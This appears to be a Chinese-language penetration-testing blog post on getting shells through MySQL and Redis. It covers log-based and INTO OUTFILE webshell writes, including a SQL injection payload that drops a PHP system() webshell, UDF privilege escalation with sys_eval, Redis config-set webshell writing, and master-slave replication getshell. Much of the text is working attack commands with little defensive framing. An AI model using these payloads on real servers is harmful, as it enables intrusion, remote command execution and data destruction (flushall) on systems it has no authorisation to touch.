Mysql
mysql是最为常见的一种关系型数据库
日志写webshell
可以执行mysql语句
利用条件
- 数据库用户有File权限 一般最好为root用户
- secure_file_priv=’’ 为空
- 服务器上存在web服务 并且web服务目录可写
利用过程
1 | show variables like '%log'; |
然后执行一个sql语句 然后即可访问webshell
写webshell
如果服务器下 有web服务且可以解析的话 可以尝试写webshell
利用条件
- 数据库用户有File权限 一般最好为root用户
- secure_file_priv=’’ 为空
- 服务器上存在web服务 并且web服务目录可写
利用过程
寻找sql注入点
1 | ' 1' union select '<?php system($_POST[a]);?>' into outfile '/var/www/html/1.php'%23 |
udf提权/getshell
mysql提供用户自定义函数的功能 用户可以上传udf.so/udf.dll到数据库插件的目录下 并创建函数
利用条件
- mysql版本大于5.1 需要将
udf.so/udf.dll传入插件目录中 如果小于5.1 则需要放入c\windows目录或者c:\windows\windows32 - 数据库用户必须有
insert权限 一般最好为root用户 - secure_file_priv=’’ 为空
- 插件目录必须存在且可写
利用过程
查看mysql信息
要先确认mysql的基本信息
1 | select version();#查看版本信息 |
注入链接文件
写入的链接文件32位/64位 必须和当前数据库的位数相同
不然可能会报错

1 | select '大量hex' into outdump '插件目录'; |
具体的链接文件请看这里
创建函数
当成功注入链接文件到插件目录中之后 就可以创建函数了 (命名一定要是这个函数名)
这个udf链接文件应该是很古老的东西了()
1 | create function sys_eval returns string soname 'udf.dll'; |
创建成功之后就可以正常使用了
1 | select sys_eval('whoami'); |

可以看到是系统用户 也可以注入一个可以反弹shell的链接文件 直接getshell
不能登录的情况且可以上传php的webshell的时候
就可以直接上传一个工具 方便利用
这些工具应该都是历史久远的产物了 )
Redis
redis 远程字典服务 是一种内存数据结构存储系统 常用作高性能数据库、缓存和消息中间件
其实redis的打法都在利用任意文件写去实现的
写webshell
利用条件
- 当前有web服务 并且可写 还得知道web服务端绝对路径
- 可以登录redis或者未授权登录redis
利用过程
设置配置文件路径 将日志名称改成.php
随便设置一个key-value 要有webshell
最后save
1 | config set dir '/var/www/html' |


成功写入webshell 且可以正常执行
1 | flushall #清除所有数据库 |
主从复制 Getshell
主从模式是redis提供的一种机制
一个redis服务器为主服务器用来写数据 其他的作为从服务器用来存数据
可以读写分离 可以缓解当个服务器的压力
主从复制就是主节点可以使用FULLRESYNC 将文件同步到其他的从节点上
redis也提供了一种加载模块机制 可以加载我们的链接文件 从而自定义函数
我们伪造一个主节点并将这个恶意链接库同步到受害主机上
利用条件
- redis版本为4.x 5.x
- 攻击机可以和受害主机互相连接
- 登录redis
可以使用一键利用脚本
说些什么吧!